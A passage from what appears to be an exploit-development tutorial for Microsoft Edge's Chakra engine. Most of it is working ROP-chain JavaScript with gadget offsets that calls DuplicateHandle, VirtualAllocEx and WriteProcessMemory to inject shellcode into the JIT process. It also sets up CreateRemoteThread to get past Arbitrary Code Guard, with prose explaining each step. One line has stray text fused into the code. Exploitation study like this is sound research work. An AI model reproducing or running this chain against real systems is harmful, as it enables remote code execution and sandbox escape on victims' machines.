write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// HANDLE hSourceProcessHandle (RCX)
// Handle to the JIT process from the content process
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], jitHandle[0], jitHandle[1]);         // PROCESS_DUP_HANDLE HANDLE to JIT server
next();

// Call KERNELBASE!DuplicateHandle
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], duplicateHandle[0], duplicateHandle[1]); // KERNELBASE!DuplicateHandle (Recall this was our original leaked pointer var for kernelbase.dll)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!DuplicateHandle)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!DuplicateHandle - 0x180243949: add rsp, 0x38 ; ret
next(); 
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // DWORD dwDesiredAccess (RSP+0x28)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // BOOL bInheritHandle (RSP+0x30)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000002, 0x00000000);             // DWORD dwOptions (RSP+0x38)
next();

// VirtuaAllocEx() ROP chain
// Stage 2 -> Allocate memory in the Edge JIT process (we have a full handle there now)

// DWORD flAllocationType (R9)
// MEM_RESERVE (0x00002000) | MEM_COMMIT (0x00001000)
/*
0:031> ? 0x00002000 | 0x00001000 
Evaluate expression: 12288 = 00000000`00003000
*/
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00003000, 0x00000000);             // MEM_RESERVE | MEM_COMMIT
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// SIZE_T dwSize (R8)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00001000, 0x00000000);             // 0x1000 (shellcode size)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x24628b, chakraHigh);      // 0x18024628b: mov r8, rdx ; add rsp, 0x48 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();

// LPVOID lpAddress (RDX)
// Let VirtualAllocEx decide where the memory will be located
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // NULL address (let VirtualAllocEx deside where we allocate memory in the JIT process)
next();

// HANDLE hProcess (RCX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74e010, chakraHigh);      // .data pointer from chakra.dll which will hold full perms handle to JIT server
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xd2125, chakraHigh);       // 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)
next();                                                                     				   // Recall RAX already has a writable pointer in it

// Call KERNELBASE!VirtualAllocEx
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0xff00, kernelbaseHigh); // KERNELBASE!VirtualAllocEx address 
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!VirtualAllocEx)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!VirtualAllocEx - 0x180243949: add rsp, 0x38 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)         
next();is in its final state
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000004, 0x00000000);             // DWORD flProtect (RSP+0x28) (PAGE_READWRITE)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();

// WriteProcessMemory() ROP chain
// Stage 3 -> Write our shellcode into the JIT process

// Store the VirtualAllocEx return address in the .data section of kernelbase.dll (It is currently in RAX)

/*
0:015> dq kernelbase+0x216000+0x4000 L2
00007fff`58cfa000  00000000`00000000 00000000`00000000
*/
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a000, kernelbaseHigh); // .data section of kernelbase.dll where we will store VirtualAllocEx allocation
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x313349, chakraHigh);       // 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)
next();

// SIZE_T nSize (R9)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00001000, 0x00000000);             // SIZE_T nSize (0x1000)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// HANDLE hProcess (RCX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74e010, chakraHigh);      // .data pointer from chakra.dll which holds our full perms handle to JIT server
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xd2125, chakraHigh);       // 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)
next();                                                                     // Recall RAX already has a writable pointer in it

// LPVOID lpBaseAddress (RDX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a000-0x8, kernelbaseHigh); // .data section of kernelbase.dll where we have our VirtualAllocEx allocation
next();                                                                            // (-0x8 to compensate for below where we have to read from the address at +0x8 offset
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x255fa0, chakraHigh);      // mov rdx, qword [rdx+0x08] ; mov rax, rdx ; ret
next();

// LPCVOID lpBuffer (R8) (shellcode in chakra.dll .data section)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x576231, chakraHigh);         // 0x180576231: pop r8 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74b000, chakraHigh);    	  // .data section of chakra.dll holding our shellcode
next();

// Call KERNELBASE!WriteProcessMemory
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x79a40, kernelbaseHigh); // KERNELBASE!WriteProcessMemory address 
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!WriteProcessMemory)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!WriteProcessMemory - 0x180243949: add rsp, 0x38 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)         
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // SIZE_T *lpNumberOfBytesWritten (NULL) (RSP+0x28)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();

Our ROP chain starts with the following gadget:

write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();

This gadget is also used four times before our first gadget within the WriteProcessMemory ROP chain. So, we will re-execute our updated exploit and set a breakpoint on this gadget and hit g in WinDbg five times in order to get to our intended first gadget (four times to “bypass” the other uses, and once more to get to our intended gadget).

Our first ROP sequence in our case is not going to actually involve WriteProcessMemory. Instead, we are going to store our VirtualAllocEx allocation (which should still be in RAX, as our previous ROP chain called VirtualAllocEx, which places the address of the allocation in RAX) in a “permanent” location within the .data section of kernelbase.dll. Think of this as we are storing the allocation returned from VirtualAllocEx in a “global variable” (of sorts):

write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a000, kernelbaseHigh); // .data section of kernelbase.dll where we will store VirtualAllocEx allocation
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x313349, chakraHigh);       // 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)
next();

At this point we have achieved persistent storage of where we would like to allocate our shellcode (the value returned from VirtualAllocEx). We will be using RAX in our ROP chain for WriteProcessMemory, so in this case we persistently store it so we do not “clobber” this value with our ROP chain. Having said that, our first item on the WriteProcessMemory docket is to place the size of our write operation (~ sizeof(shellcode), of 0x1000 bytes) into R9 as the nSize argument.

We start this process, of which there are many examples in this blog post, by placing a writable address in RAX which we do not care about, to grant us access to the mov r9, rcx ; cmp r8d, [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret gadget. This allows us to place our intended value of 0x1000 into R9.

Our call to WriteProcessMemory is now in the following state:

WriteProcessMemory(
	-
	-
	-
	sizeof(shellcode)				// Size of our shellcode
	-
);

Next up in our ROP sequence is the hProcess parameter, also known as our PROCESS_ALL_ACCESS handle to the JIT server. We can simply just fetch this from the .data section of chakra.dll, where we stored this value as a result of our DuplicateHandle call.

You’ll notice there is a mov [rax+0x20], rcx write operation that will write the contents of RCX into the memory address, at an offset of 0x20, in RAX. You’ll recall we “prepped” RAX already in this ROP sequence when dealing with the nSize parameter - meaning RAX already has a writable address, and the write operation will not cause an access violation (e.g. writing to a non-writable address).

Our call to WriteProcessMemory is now in the following state:

WriteProcessMemory(
	fulljitHandle, 					// PROCESS_ALL_ACCESS handle to JIT server we got from DuplicateHandle call
	-
	-
	sizeof(shellcode)				// Size of our shellcode
	-
);

The next parameter we are going to deal with is lpBaseAddress. In our call to WriteProcessMemory, this is the address within the process denoted by the handle supplied in hProcess (the JIT server process where ACG is disabled). We control a region of one memory page within the JIT process, as a result of our VirtualAllocEx ROP chain. This allocation (which resides in the JIT process) is the address we are going to supply here.

This ROP sequence is slightly convoluted, so I will provide the snippet (which is already above) directly below for continuity/context:

// LPVOID lpBaseAddress (RDX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a000-0x8, kernelbaseHigh); // .data section of kernelbase.dll where we have our VirtualAllocEx allocation
next();                                                                            // (-0x8 to compensate for below where we have to read from the address at +0x8 offset
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x255fa0, chakraHigh);       // mov rdx, qword [rdx+0x08] ; mov rax, rdx ; ret
next();

We can simply pop the address where we stored the address of our JIT process allocation (via VirtualAllocEx) into the RDX register. However, this is where things get “interesting”. There were no good gadgets within chakra.dll to directly dereference RDX and place it into RDX (mov rdx, [rdx] ; ret). The only gadget to do so, as we see above, is mov rdx, qword [rdx+0x08] ; mov rax, rdx ; ret. We can see we are able to dereference RDX and store it in RDX, but not via RDX directly instead, we have the ability to take whatever memory address is stored in RDX, at an offset of 0x8, and place this into RDX. So, we do a bit of math here. If we pop our jit_allocation-0x8 into RDX, when the mov rdx, [rdx+0x8] occurs, it will take the value in RDX, add 8 to it, and dereference the contents - storing them in RDX. Since -0x8 + +0x8 = 0, we simply “offset” the difference as a “hack”, of sorts, to ensure RDX contains the base address of our allocation.

Our call to WriteProcessMemory is now in the following state:

WriteProcessMemory(
	fulljitHandle, 					// PROCESS_ALL_ACCESS handle to JIT server we got from DuplicateHandle call
	addressof(VirtualAllocEx_Allocation),		// Address of our return value from VirtualAllocEx (where we want to write our shellcode)
	-
	sizeof(shellcode)				// Size of our shellcode
	-
);

Now, our next item is to knock out the lpBuffer parameter. This is the easiest of our parameters, as we have already stored the shellcode we want to copy into the remote JIT process in the .data section of chakra.dll (see “Shellcode” section of this blog post).

Our call is now in the following state:

WriteProcessMemory(
	fulljitHandle, 					// PROCESS_ALL_ACCESS handle to JIT server we got from DuplicateHandle call
	addressof(VirtualAllocEx_Allocation),		// Address of our return value from VirtualAllocEx (where we want to write our shellcode)
	addressof(data_chakra_shellcode_location),	// Address of our shellcode in the content process (.data of chakra) (what we want to write (our shellcode))
	sizeof(shellcode)				// Size of our shellcode
	NULL 						// Optional
);

The last items on the agenda are to load kernelbase!WriteProcessMemory into RAX and jmp to it, and also write our last parameter to the stack at RSP + 0x28 (NULL/0 value).

Now, before we hit the jmp rax instruction to jump into our call to WriteProcessMemory, let’s attach another WinDbg debugger to the JIT process and examine the lpBaseAddress parameter.

We can see our allocation is valid, but is not set to any value. Let’s hit t in the content process WinDbg session and then pt to execute the call to WriteProcessMemory, but pausing before we return from the function call.

Now, let’s go back to the JIT process WinDbg session and re-examine the contents of the allocation.

As we can see, we have our shellcode mapped into the JIT process. All there is left now (which is a slight misnomer, as it is several more chained ROP chains) is to force the JIT process to mark this code as RWX, and execute it.

CreateRemoteThread ROP Chain

We now have a remote allocation within the JIT process, where we have written our shellcode to. As mentioned, we now need a way to execute this shellcode. As you may, or may not know, on Windows threads are what are responsible for executing code (not a process itself, which can be though of as a “container of resources”). What we are going to do now is create a thread within the JIT process, but we are going to create this thread in a suspended manner. As we know, our shellcode is sitting in readable and writable page. We first need to mark this page as RWX, which we will do in the later portions of this blog. So, for now, we will create the thread which will be responsible for executing our shellcode in the future - but we are going to create it in a suspended state and reconcile execution later. CreateRemoteThread is an API, exported by the Windows API, which allows a user to create a thread in a remote process. This will allow us to create a thread within the JIT process, from our current content process. Here is how our call will be setup:

CreateRemoteThread(
	fulljitHandle,			// PROCESS_ALL_ACCESS handle to JIT server we got from DuplicateHandle call
	NULL,				// Default SECURITY_ATTRIBUTES
	0,				// Default Stack size
	addressof(ret_gadget),		// Function pointer we want to execute (when the thread eventually executes, we want it to just return to the stack)
	NULL,				// No variable needs to be passed
	4,				// CREATE_SUSPENDED (Create the thread in a suspended state)
	NULL 				// Don't return the thread ID (we don't need it)
);

This call requires mostly everything to be set to NULL or 0, with the exception of two parameters. We are creating our thread in a suspended state to ensure execution doesn’t occur until we explicitly resume the thread. This is because we still need to overwrite the RSP register of this thread with our final-stage ROP chain, before the ret occurs. Since we are setting the lpStartAddress parameter to the address of a ROP gadget, this effectively is the entry point for this newly-created thread and it should be the function called. Since it is a ROP gadget that performs ret, execution should just return to the stack. So, when we eventually resume this thread, our thread (which is executing in he remote JIT process, where ACG is disabled), will return to whatever is located on the stack. We will eventually update RSP to point to.

Here is how this looks in ROP form (with all previous ROP chains added for context):

// alert() for debugging
alert("DEBUG");

// Store the value of the handle to the JIT server by way of chakra!ScriptEngine::SetJITConnectionInfo (chakra!JITManager+s_jitManager+0x8)
jitHandle = read64(chakraLo+0x74d838, chakraHigh);

// Helper function to be called after each stack write to increment offset to be written to
function next()
{
    counter+=0x8;
}

// Begin ROP chain
// Since __fastcall requires parameters 5 and so on to be at RSP+0x20, we actually have to put them at RSP+0x28
// This is because we don't push a return address on the stack, as we don't "call" our APIs, we jump into them
// Because of this we have to compensate by starting them at RSP+0x28 since we can't count on a return address to push them there for us

// DuplicateHandle() ROP chain
// Stage 1 -> Abuse PROCESS_DUP_HANDLE handle to JIT server by performing DuplicateHandle() to get a handle to the JIT server with full permissions
// ACG is disabled in the JIT process
// https://bugs.chromium.org/p/project-zero/issues/detail?id=1299

// Writing our ROP chain to the stack, stack+0x8, stack+0x10, etc. after return address overwrite to hijack control-flow transfer

// HANDLE hSourceProcessHandle (RCX) _should_ come first. However, we are configuring this parameter towards the end, as we need RCX for the lpTargetHandle parameter

// HANDLE hSourceHandle (RDX)
// (HANDLE)-1 value of current process
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0xffffffff, 0xffffffff);             // Psuedo-handle to current process
next();

// HANDLE hTargetProcessHandle (R8)
// (HANDLE)-1 value of current process
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x24628b, chakraHigh);      // 0x18024628b: mov r8, rdx ; add rsp, 0x48 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();

// LPHANDLE lpTargetHandle (R9)
// This needs to be a writable address where the full JIT handle will be stored
// Using .data section of chakra.dll in a part where there is no data
/*
0:053> dqs chakra+0x72E000+0x20010
00007ffc`052ae010  00000000`00000000
00007ffc`052ae018  00000000`00000000
*/
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72e128, chakraHigh);      // .data pointer from chakra.dll with a non-zero value to bypass cmp r8d, [rax] future gadget
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74e010, chakraHigh);      // .data pointer from chakra.dll which will hold full perms handle to JIT server;
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// HANDLE hSourceProcessHandle (RCX)
// Handle to the JIT process from the content process
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], jitHandle[0], jitHandle[1]);         // PROCESS_DUP_HANDLE HANDLE to JIT server
next();

// Call KERNELBASE!DuplicateHandle
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], duplicateHandle[0], duplicateHandle[1]); // KERNELBASE!DuplicateHandle (Recall this was our original leaked pointer var for kernelbase.dll)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!DuplicateHandle)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!DuplicateHandle - 0x180243949: add rsp, 0x38 ; ret
next(); 
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // DWORD dwDesiredAccess (RSP+0x28)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // BOOL bInheritHandle (RSP+0x30)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000002, 0x00000000);             // DWORD dwOptions (RSP+0x38)
next();

// VirtuaAllocEx() ROP chain
// Stage 2 -> Allocate memory in the Edge JIT process (we have a full handle there now)

// DWORD flAllocationType (R9)
// MEM_RESERVE (0x00002000) | MEM_COMMIT (0x00001000)
/*
0:031> ? 0x00002000 | 0x00001000 
Evaluate expression: 12288 = 00000000`00003000
*/
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00003000, 0x00000000);             // MEM_RESERVE | MEM_COMMIT
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// SIZE_T dwSize (R8)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
